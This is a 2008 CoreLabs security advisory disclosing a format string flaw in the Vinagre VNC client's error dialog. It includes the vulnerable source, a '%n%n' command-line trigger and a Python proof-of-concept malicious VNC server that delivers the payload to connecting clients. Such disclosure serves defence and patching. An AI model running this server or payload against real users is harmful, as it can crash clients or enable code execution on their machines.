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      Core Security Technologies - CoreLabs Advisory
           http://www.coresecurity.com/corelabs/

Vinagre show_error() format string vulnerability



1. *Advisory Information*

Title: Vinagre show_error() format string vulnerability
Advisory ID: CORE-2008-1127
Advisory URL: http://www.coresecurity.com/content/vinagre-format-string
Date published: 2008-12-09
Date of last update: 2008-12-09
Vendors contacted: Vinagre team
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Format string
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32682
CVE Name: N/A


3. *Vulnerability Description*

Vinagre [1] is a VNC client for the GNOME Desktop. A format string error
has been found on the 'vinagre_utils_show_error()' function that can be
exploited via commands issued from a malicious server containing format
string specifiers on the VNC name.

In a web based attack scenario, the user would be required to connect to
a malicious server. Successful exploitation would then allow the
attacker to execute arbitrary code with the privileges of the Vinagre user.


4. *Vulnerable packages*

   . Vinagre 2.24.1 and previous versions


5. *Non-vulnerable packages*

   . Vinagre 2.24.2


6. *Vendor Information, Solutions and Workarounds*

The Vinagre team has released a fixed version, available at
http://ftp.acc.umu.se/pub/GNOME/sources/vinagre/2.24/vinagre-2.24.2.tar.gz


7. *Credits*

This vulnerability was discovered and researched by Alfredo Ortega from
Core Security Technologies.


8. *Technical Description / Proof of Concept Code*

The function 'vinagre_utils_show_error()' on 'src/vinagre-utils.c' follows:

/-----------

57  void
58  vinagre_utils_show_error (const gchar *message, GtkWindow *parent)
59  {
60    GtkWidget *d;
61
62    d = gtk_message_dialog_new (parent,
63              GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT,
64              GTK_MESSAGE_ERROR,
65              GTK_BUTTONS_CLOSE,
66              message);
....

- -----------/

 Here, the "message" string is the format specifier for the function
'gtk_message_dialog_new()', but may be controlled by the user in many
ways. The simplest is the invocation of vinagre via a command line, Ex.:

/-----------

~$vinagre %n%n
- -----------/

 But the vulnerability can also be triggered remotely via a malicious
vnc server.


8.1. *Proof Of Concept*

The following python script implements a basic vnc server that triggers
the vulnerability:

/-----------

##
## Gnome Vinagre format string PoC VNC SERVER
##

import socket
import struct

#create an INET, STREAMing socket
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#bind the socket to a public host,
# and a well-known port
serversocket.bind(("0.0.0.0", 5900))

#become a server socket
serversocket.listen(5)

while 1:
  #accept connections from outside
  (clientsocket, address) = serversocket.accept()
  print "accept"

  # version handshake
  clientsocket.send("RFB 003.008\n")
  resp=clientsocket.recv(100)
  print resp

  # security types (none)  
  clientsocket.send("\x01\x01")
  resp=clientsocket.recv(100)
  if resp=="\x01":
    print "security: none"
    clientsocket.send("\x00\x00\x00\x00") #OK
  else: exit(-1)

  # share desktop flag?
  resp=clientsocket.recv(100)

  #framebuffer parameters

clientsocket.send("\x02\xd0\x01\x90\x20\x20\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x00\x00\x00\x04%n%n")
#OK

  resp=clientsocket.recv(100)
  clientsocket.close()

- -----------/




9. *Report Timeline*

. 2008-12-01: Core Security Technologies notifies the Vinagre team of
the vulnerability.
. 2008-12-02: Vinagre team asks Core for a technical description of the
vulnerability.
. 2008-12-02: Technical details sent to Vinagre team by Core.
. 2008-12-02: Vinagre team notifies Core this issue has been fixed in
the development branch, and that a new version will be available soon.
. 2008-12-05: Core asks Vinagre team if the new version is available.
. 2008-12-05: Vinagre team releases the Vinagre 2.24.2 version, which
fixes this issue.
. 2008-12-09: The advisory CORE-2008-1127 is published.


10. *References*

[1] http://projects.gnome.org/vinagre/.


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.


12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
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